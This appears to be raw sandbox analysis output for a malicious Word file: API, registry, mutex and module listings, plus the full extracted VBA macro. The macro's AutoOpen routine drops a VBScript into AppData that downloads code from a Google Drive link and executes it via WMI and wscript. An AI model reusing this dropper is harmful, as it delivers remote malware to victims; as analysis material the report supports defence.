00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp, 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001220.00000000.77833.4CD82000.00000002.mdmp") Found reference to API (Indicator: "Beep"; Source: "00000000-00001220.00000000.77833.A3060000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "PostThreadMessageA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "StringFromCLSID"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetMessageA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "IsTextUnicode"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CoGetClassObject"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongPtrA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "KillTimer"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongPtrA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "EnumThreadWindows"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetClassInfoA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetClassNameA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "PostMessageA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjectsEx"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingA"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00001220.00000000.77833.A31F5000.00000002.mdmp")31:T56d,File "ThisDocument.cls" (Streampath: "VBA/ThisDocument") has code: "" File "NewMacros.bas" (Streampath: "VBA/NewMacros") has code: "Sub Weed(ns, p) Application.ActiveWindow.View.Type = wdPrintView Set wnd = ActiveDocument wnd.Unprotect p With wnd.Range.InlineShapes(1) .Delete End With End Sub Sub ResContent(pth, cnt) Documents.Add With ActiveDocument .Range.Text = cnt .SaveAs2 FileName:=pth, FileFormat:=wdFormatText .Close End With End Sub Sub Present() On Error Resume Next For Mode = 10 To 0 Step -1 ActiveWindow.View.SeekView = Mode With Selection .WholeStory .Font.Hidden = False .Collapse End With Next End Sub Sub AutoOpen() On Error Resume Next sn = "utf" Set wm = GetObject("winmgmts:win32_process") pw = "utf8utf8" Weed sn, pw Present Set wnd = ActiveDocument wnd.Save cnt = "On Error Resume Next:Set mx = CreateObject(""MSXML2.ServerXMLHTTP""):mx.open ""GET"" ""https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t"" False:mx.Send:Execute(mx.responseText)" pth = "C:\Users\" & Application.UserName & "\AppData\Roaming\Microsoft\Templates\version.ini" ResContent pth, cnt wm.Create "wscript.exe //e:vbscript //b " & pth End Sub"32:T493,Normalized macro string: "http):mx.open" Normalized macro string: "CreateObject(MSXML2.ServerXMLHTTP):mx.open" Normalized macro string: "https://drive.google.com/uc?export=download&id=1sodzdxjed9t-ypcpxxi1hwkypwgq7-00&confirm=t," Normalized macro string: "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t," Normalized macro string: "Application.ActiveWindow.View.Type" Normalized macro string: "wnd.Unprotect" Normalized macro string: "wnd.Range.InlineShapes" Normalized macro string: "Documents.Add" Normalized macro string: "Range.Text" Normalized macro string: "ActiveWindow.View.SeekView" Normalized macro string: "Font.Hidden" Normalized macro string: "wnd.Save" Normalized macro string: "MSXML2.ServerXMLHTTP" Normalized macro string: "mx.open" Normalized macro string: "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t" Normalized macro string: "mx.Send" Normalized macro string: "mx.responseText" Normalized macro string: "Application.UserName" Normalized macro string: "version.ini" Normalized macro string: "wm.Create" Normalized macro string: "wscript.exe"33:T910,"SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00001220.00000000.77833.182E0000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.67.1.1!7" in Source: 00000000-00001220.00000000.77833.182E0000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.76.6.1!7" in Source: 00000000-00001220.00000000.77833.182E0000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00001220.00000000.77833.A3060000.00000002.mdmp "Software\Microsoft\Windows Script Host\Settings" in Source: 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp "SOFTWARE\Classes\%s\%s" in Source: 00000000-00001220.00000000.77833.A31F5000.00000002.mdmp34:T45c,"\BaseNamedObjects\552FFA80-3393-423d-8671-7BA046BB5906" "Local\ZonesLockedCacheCounterMutex" "Local\SM0:1568:120:WilError_01" "Local\SM0:1568:304:WilStaging_02" "Local\ZonesCacheCounterMutex" "x64_10MU_ACBPIDS_S-1-5-5-0-191905" "x64_10MU_ACB10_S-1-5-5-0-191905" "SM0:1568:120:WilError_01" "\Sessions\1\BaseNamedObjects\x64_10MU_ACBPIDS_S-1-5-5-0-191905" "\Sessions\1\BaseNamedObjects\x64_10MU_ACB10_S-1-5-5-0-191905" "\Sessions\1\BaseNamedObjects\SM0:1568:120:WilError_01" "\Sessions\1\BaseNamedObjects\Local\SM0:1568:304:WilStaging_02" "\Sessions\1\BaseNamedObjects\Local\SM0:1568:120:WilError_01" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\BaseNamedObjects\MTX_MSO_Formal1_S-1-5-21-735145574-3570218355-1207367261-1001" "\BaseNamedObjects\MTX_MSO_AdHoc1_S-1-5-21-735145574-3570218355-1207367261-1001" "\BaseNamedObjects\MsoShellExtRegAccess_S-1-5-21-735145574-3570218355-1207367261-1001" "\Sessions\1\BaseNamedObjects\SM0:1220:304:WilStaging_02" "\Sessions\1\BaseNamedObjects\Local\SM0:1220:304:WilStaging_02"35:T4dd,Found string "*.youtube-nocookie.com" (Indicator: "dir "; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.1AAD0000.00000004.mdmp") Found string "youtube.com" (Indicator: "dir "; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.1AAD0000.00000004.mdmp") Found string "*.youtube.com" (Indicator: "dir "; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.1AAD0000.00000004.mdmp") Found string "youtubeeducation.com" (Indicator: "dir "; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.1AAD0000.00000004.mdmp") Found string "*.youtubeeducation.com" (Indicator: "dir "; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.1AAD0000.00000004.mdmp") Found string "youtubekids.com" (Indicator: "dir "; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.1AAD0000.00000004.mdmp") Found string "*.youtubekids.com" (Indicator: "dir "; Source: "00000000-00001220.00000000.77833.182E0000.00000004.mdmp, 00000000-00001220.00000000.77833.1AAD0000.00000004.mdmp")36:T2194,"WINWORD.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 54710000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 54710000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 54710000 "WINWORD.EXE" loaded module "KERNEL32" at base 57de0000 "WINWORD.EXE" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 392c0000 "WINWORD.EXE" loaded module "IMM32.DLL" at base 56dd0000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base 38720000 "WINWORD.EXE" loaded module "WWLIB.DLL" at base 2dfe0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSO.DLL" at base 2aab0000 "WINWORD.EXE" loaded module "MSO.DLL" at base 2aab0000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base 450a0000 "WINWORD.EXE" loaded module "KERNEL32.DLL" at base 57de0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\CULTURES\OFFICE.ODF" at base 4940000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\1033\WWINTL.DLL" at base 4800000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 52a10000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\1033\MSOINTL.DLL" at base 4f40000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSORES.DLL" at base 51b0000 "WINWORD.EXE" loaded module "DWMAPI.DLL" at base 52c80000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 56bb0000 "WINWORD.EXE" loaded module "SRPAPI.DLL" at base 3b9f0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 57de0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSPTLS.DLL" at base 35b00000 "WINWORD.EXE" loaded module "UXTHEME.DLL" at base 52a10000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\RICHED20.DLL" at base 35930000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 385b0000 "WINWORD.EXE" loaded module "ADVAPI32.DLL" at base 56bb0000 "WINWORD.EXE" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 37600000 "WINWORD.EXE" loaded module "SHLWAPI.DLL" at base 57650000 "WINWORD.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 54460000 "WINWORD.EXE" loaded module "VERSION.DLL" at base 4f6f0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPC.DLL" at base 64350000 "WINWORD.EXE" loaded module "RPCRT4.DLL" at base 576b0000 "WINWORD.EXE" loaded module "WINSPOOL.DRV" at base 387d0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 50b40000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 4d830000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 54540000 "WINWORD.EXE" loaded module "POWRPROF.DLL" at base 543d0000 "WINWORD.EXE" loaded module "NTDLL.DLL" at base 58080000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 4e9b0000 "WINWORD.EXE" loaded module "OLEAUT32.DLL" at base 57f60000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 9f60000 "WINWORD.EXE" loaded module "USER32.DLL" at base 571e0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 49f50000 "WINWORD.EXE" loaded module "MSISO.DLL" at base 4b9d0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 4f6f0000 "WINWORD.EXE" loaded module "USERENV.DLL" at base 542d0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT532.CNV" at base 4cdb0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\MSCONV97.DLL" at base 49590000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT632.CNV" at base 4cda0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\RECOVR32.CNV" at base 4cde0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\MSCONV97.DLL" at base 4cdb0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WKS9PXY.CNV" at base 4cdd0000 "WINWORD.EXE" loaded module "GDI32.DLL" at base 57f30000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\DATAEXCHANGE.DLL" at base 40e10000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 54980000 "WINWORD.EXE" loaded module "CSCAPI.DLL" at base 48690000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL" at base 63ef0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\1033\VBE7INTL.DLL" at base f750000 "WINWORD.EXE" loaded module "VBE7.DLL" at base 63ef0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 54710000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 4cda0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 48df0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 528f0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 4a3c0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 54710000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 54710000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 48e60000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 53810000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 40970000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 52c80000 "WINWORD.EXE" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 571e0000 "WINWORD.EXE" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 571e0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 56e00000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 57500000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 3ba40000 